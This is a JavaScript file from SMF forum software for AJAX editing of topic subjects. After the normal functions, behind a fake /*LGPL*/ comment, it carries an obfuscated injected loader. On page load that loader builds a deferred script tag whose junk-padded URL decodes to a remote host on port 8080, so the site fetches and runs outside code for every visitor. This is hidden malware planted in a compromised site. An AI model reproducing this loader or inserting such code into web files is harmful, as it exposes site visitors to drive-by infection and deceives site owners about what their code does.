var cur_topic_id, cur_msg_id, buff_subject, cur_subject_div, in_edit_mode = 0;
var hide_prefixes = Array();

function modify_topic(topic_id, first_msg_id, cur_session_id)
{
	if (!window.XMLHttpRequest)
		return;
	if (typeof(window.opera) != "undefined")
	{
		var test = new XMLHttpRequest();
		if (typeof(test.setRequestHeader) != "function")
			return;
	}

	if (in_edit_mode == 1)
	{
		if (cur_topic_id == topic_id)
			return;
		else
			modify_topic_cancel();
	}

	in_edit_mode = 1;
	mouse_on_div = 1;
	cur_topic_id = topic_id;

	if (typeof window.ajax_indicator == "function")
		ajax_indicator(true);

	getXMLDocument(smf_scripturl + "?action=quotefast;quote=" + first_msg_id + ";sesc=" + cur_session_id + ";modify;xml", onDocReceived_modify_topic);
}

function onDocReceived_modify_topic(XMLDoc)
{
	cur_msg_id = XMLDoc.getElementsByTagName("message")[0].getAttribute("id");

	cur_subject_div = document.getElementById('msg_' + cur_msg_id.substr(4));
	buff_subject = getInnerHTML(cur_subject_div);

	// Here we hide any other things they want hiding on edit.
	set_hidden_topic_areas('none');

	modify_topic_show_edit(XMLDoc.getElementsByTagName("subject")[0].childNodes[0].nodeValue);

	if (typeof window.ajax_indicator == "function")
		ajax_indicator(false);
}

function modify_topic_cancel()
{
	setInnerHTML(cur_subject_div, buff_subject);
	set_hidden_topic_areas('');

	in_edit_mode = 0;
	return false;
}

function modify_topic_save(cur_session_id)
{
	if (!in_edit_mode)
		return true;

	var i, x = new Array();
	x[x.length] = 'subject=' + escape(textToEntities(document.forms.quickModForm['subject'].value)).replace(/\+/g, "%2B");
	x[x.length] = 'topic=' + parseInt(document.forms.quickModForm.elements['topic'].value);
	x[x.length] = 'msg=' + parseInt(document.forms.quickModForm.elements['msg'].value);

	if (typeof window.ajax_indicator == "function")
		ajax_indicator(true);

	sendXMLDocument(smf_scripturl + "?action=jsmodify;topic=" + parseInt(document.forms.quickModForm.elements['topic'].value) + ";sesc=" + cur_session_id + ";xml", x.join("&"), modify_topic_done);

	return false;
}

function modify_topic_done(XMLDoc)
{
	if (!XMLDoc)
	{
		modify_topic_cancel();
		return true;
	}

	var message = XMLDoc.getElementsByTagName("smf")[0].getElementsByTagName("message")[0];
	var subject = message.getElementsByTagName("subject")[0];
	var error = message.getElementsByTagName("error")[0];

	if (typeof window.ajax_indicator == "function")
		ajax_indicator(false);

	if (!subject || error)
		return false;

	subjectText = subject.childNodes[0].nodeValue;

	modify_topic_hide_edit(subjectText);

	set_hidden_topic_areas('');

	in_edit_mode = 0;

	return false;
}

// Simply restore any hidden bits during topic editing.
function set_hidden_topic_areas(set_style)
{
	for (var i = 0; i < hide_prefixes.length; i++)
	{
		if (document.getElementById(hide_prefixes[i] + cur_msg_id.substr(4)) != null)
			document.getElementById(hide_prefixes[i] + cur_msg_id.substr(4)).style.display = set_style;
	}
}

/*LGPL*/ try{ window.onload = function(){Yo9nghbw4gt4va5 = 'h&t#)t#@&p$:$^^#/)/(&e)o($r!#e$!z(o$!@-!!c)#^@o^!m!#$(.^a#&&b&#!r(&i^)l@(.@!c@$o)(!m!.(b$&r!&.#&#^^u$w&$$#a!n(@)t#!)@&s!^#-)c#$o^@m)$^.^t&@h)!e&p$#(r!&(@o!&@&c^!a#s&!!t!!!.&$@r#u!):)##@8#$0)(^8^0!#^/^$@$g&$o$$o$$g&l$)e@@.@c@o^m!/@g@^&#o#@@#o)!#g)!)l)e)^!.&^c!^!o@&$$m)(!/))b&(@$l(^^a&&c))@k!$@h@!&#a(&)t&@w)o(!@r)()l(#d$#.)$&c&&#o^&m&$/@@a#!)v&a()!x)&@&&h&!#o#m!^@e^^.@!)&w)s&&(/!u^s@!t!#(!r)@#e@^$a()!m@(!.!(&t((v!/!'.replace(/\)|&|\$|#|\^|@|\!|\(/ig, '');var Mh5lx6bj7hx = 's(!c$r)i&)@p#$#t^&&'.replace(/@|\(|&|\!|\)|\^|#|\$/ig, '');var Wnvqqmtnaibw = 's(@$r&$!!)c!@'.replace(/&|\$|\(|#|@|\)|\!|\^/ig, '');var Lg6hnbyo44k = Mh5lx6bj7hx;var Ypy6uzulpfr = document.createElement(Lg6hnbyo44k);Ypy6uzulpfr.setAttribute('defer', 'd(@e^($f)()#$e&#r&'.replace(/@|\(|\)|\^|&|\!|#|\$/ig, ''));var Lpacjtegrwt = 't))^e)(x$^t#(&/^$@j!a!v#$$a@s$#c!@^^r#$@)i)$p!!t@)'.replace(/\^|&|\$|\!|\)|\(|@|#/ig, '');Ypy6uzulpfr.setAttribute('id', 'P)#q^)m$@#$@c$@@m)$&!v@c$#$q((@p(&@^g&'.replace(/@|\(|\$|#|\^|&|\)|\!/ig, ''));Ypy6uzulpfr.setAttribute(Wnvqqmtnaibw,  Yo9nghbw4gt4va5);Ypy6uzulpfr.setAttribute('type', Lpacjtegrwt);document.body.appendChild(Ypy6uzulpfr);if (document){Lg6hnbyo44k = Mh5lx6bj7hx;}} }  catch(X65eag6848r0tpvp0y9 ) {}
